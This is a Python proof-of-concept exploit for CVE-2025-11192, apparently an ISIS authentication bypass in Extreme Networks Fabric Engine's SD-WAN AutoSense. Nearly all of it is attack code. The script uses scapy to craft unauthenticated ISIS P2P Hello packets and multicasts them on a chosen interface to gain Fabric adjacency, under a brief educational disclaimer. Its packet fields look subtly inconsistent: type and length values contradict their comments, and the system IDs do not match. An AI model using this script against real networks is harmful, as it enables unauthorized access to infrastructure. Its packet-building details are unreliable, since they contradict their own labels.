CVE-2025-11192

# CVE-2025-11192 - Extreme Networks Fabric Engine (VOSS) SD-WAN AutoSense Authentication Bypass PoC # This PoC demonstrates the concept of exploiting the missing ISIS authentication validation # in SD-WAN AutoSense feature #!/usr/bin/env python3 """ CVE-2025-11192 PoC - SD-WAN AutoSense ISIS Authentication Bypass Disclaimer: This PoC is for educational and authorized testing purposes only. """ from scapy.all import * from scapy.layers.inet import IP, UDP import time class ISISPDU: """Craft ISIS Protocol Data Unit for Fabric Engine exploitation""" ISIS_HELLO = 0x0F # ISIS Hello PDU type ISIS_P2P_HELLO = 0x10 # Point-to-Point ISIS Hello def __init__(self, system_id="1921.6800.0001"): self.system_id = system_id def craft_p2p_hello(self): """Craft a P2P ISIS Hello packet without authentication""" # ISIS Common Header isis_header = bytes([ 0x83, # Protocol Discriminator (Network Layer Protocol ID) 0x1B, # Header Length 0x01, # Version/Protocol ID Extension 0x00, # ID Length (System ID length = 6 bytes) 0x00, # PDU Type (L1 Hello) 0x01, # Version 0x00, # Reserved 0x00, # Maximum Area Addresses ]) # Source ID (attacker system ID) source_id = bytes([0x01, 0x92, 0x16, 0x80, 0x00, 0x01]) # Holding Time holding_time = b'\x00\x0a' # PDU Length pdu_length = b'\x00\x15' # Circuit Type (Level 1) circuit_type = b'\x01' # System ID system_id_bytes = bytes([0x19, 0x21, 0x68, 0x00, 0x00, 0x01]) # Hello Interval hello_interval = b'\x00\x0a' pdu = isis_header + source_id + holding_time + pdu_length + circuit_type + system_id_bytes + hello_interval return pdu def exploit_autosense(self, target_interface="eth0"): """Exploit SD-WAN AutoSense by sending crafted ISIS packets""" print(f"[*] CVE-2025-11192 - SD-WAN AutoSense Authentication Bypass PoC") print(f"[*] Target interface: {target_interface}") print(f"[*] Sending crafted ISIS P2P Hello without authentication...") pdu = self.craft_p2p_hello() # ISIS uses link-local multicast on Layer 2 # All Level 1 ISs: 01:80:c2:00:00:14 # All Level 2 ISs: 01:80:c2:00:00:15 dst_mac = "01:80:c2:00:00:15" # Send the packet multiple times to ensure detection by AutoSense for i in range(5): packet = Ether(dst=dst_mac) / Raw(load=pdu) sendp(packet, iface=target_interface, verbose=False) print(f"[+] Packet {i+1} sent successfully") time.sleep(1) print(f"[*] Exploit completed. Check if Fabric adjacency was established.") print(f"[*] If successful, unauthorized access to Fabric network is achieved.") if __name__ == "__main__": import sys iface = sys.argv[1] if len(sys.argv) > 1 else "eth0" exploit = ISISPDU() exploit.exploit_autosense(iface)

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